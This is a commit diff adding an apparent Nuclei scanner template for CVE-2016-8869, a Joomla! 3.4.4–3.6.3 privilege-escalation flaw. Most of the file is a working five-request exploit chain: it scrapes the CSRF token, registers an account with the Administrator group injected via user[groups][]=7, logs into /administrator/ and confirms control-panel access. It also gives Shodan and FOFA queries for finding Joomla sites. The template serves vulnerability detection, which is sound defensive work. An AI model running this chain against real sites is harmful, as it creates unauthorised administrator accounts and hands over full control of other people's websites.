CVE-2016-8869 - Joomla! 3.4.4-3.6.3 - Account Creation / Privilege Escalation

2026-11-13 05:42:08 -10:00 · 2026-11-13 20:40:31 +05:30
1 changed files with 120 additions and 0 deletions
@@ -0,0 +1,120 @@
+id: CVE-2016-8869
+
+info:
+  name: Joomla! 3.4.4-3.6.3 - Account Creation / Privilege Escalation
+  author: DhiyaneshDk
+  severity: critical
+  description: |
+    Joomla! 3.4.4 through 3.6.3 does not filter the usergroup values submitted to the com_users `user.register` task, so an unauthenticated attacker can register an account and inject itself into a privileged group (e.g. Administrator, group id 7) via the `user[groups][]` parameter. Combined with CVE-2016-8870 (account creation even when registration is disabled), this yields administrative access to the Joomla backend. This template registers a user with the Administrator group injected, then logs into /administrator/ and confirms control-panel access - which only an escalated (Administrator-group) account can reach, so patched instances (where the account stays in the default Registered group) do not match.
+  impact: |
+    A remote, unauthenticated attacker creates an administrator account and gains full control of the Joomla site.
+  remediation: |
+    Upgrade to Joomla! 3.6.4 or later.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2016-8869
+    - https://developer.joomla.org/security-centre/660-20161002-core-elevated-privileges.html
+    - https://developer.joomla.org/security-centre/659-20161001-core-account-creation.html
+    - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/joomla_registration_privesc.rb
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2016-8869
+    cwe-id: CWE-269
+  metadata:
+    verified: true
+    max-request: 5
+    shodan-query: http.component:"Joomla"
+    fofa-query: app="Joomla"
+  tags: cve,cve2016,joomla,privesc,kev,vkev,intrusive
+
+variables:
+  user: "{{to_lower(rand_text_alpha(10))}}"
+  pass: "{{rand_text_alpha(9)}}A1!a"
+  email: "{{to_lower(rand_text_alpha(8))}}@{{to_lower(rand_text_alpha(6))}}.com"
+
+flow: http(1) && http(2) && http(3) && http(4) && http(5)
+
+http:
+  - raw:
+      - |
+        GET /index.php?option=com_users&view=registration HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - "status_code == 200"
+          - "contains(body, 'com_users')"
+        condition: and
+        internal: true
+
+    extractors:
+      - type: regex
+        name: regtoken
+        internal: true
+        part: body
+        group: 1
+        regex:
+          - 'name="([a-f0-9]{32})" value="1"'
+
+  - raw:
+      - |
+        POST /index.php?option=com_users&task=user.register HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        user[name]={{user}}&user[username]={{user}}&user[groups][]=7&user[password1]={{pass}}&user[password2]={{pass}}&user[email1]={{email}}&user[email2]={{email}}&option=com_users&task=user.register&{{regtoken}}=1
+
+    matchers:
+      - type: dsl
+        dsl:
+          - "status_code == 303 || status_code == 302 || status_code == 301 || status_code == 200"
+        internal: true
+
+  - raw:
+      - |
+        GET /administrator/index.php HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - "status_code == 200"
+          - "contains(body, 'mod-login')"
+        condition: and
+        internal: true
+
+    extractors:
+      - type: regex
+        name: admintoken
+        internal: true
+        part: body
+        group: 1
+        regex:
+          - 'name="([a-f0-9]{32})" value="1"'
+
+  - raw:
+      - |
+        POST /administrator/index.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        username={{user}}&passwd={{pass}}&option=com_login&task=login&{{admintoken}}=1
+
+    matchers:
+      - type: dsl
+        dsl:
+          - "status_code == 303 || status_code == 302 || status_code == 301 || status_code == 200"
+        internal: true
+
+  - raw:
+      - |
+        GET /administrator/index.php HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - "status_code == 200"
+          - "contains(body, 'com_cpanel') || contains(body, 'task=logout')"
+        condition: and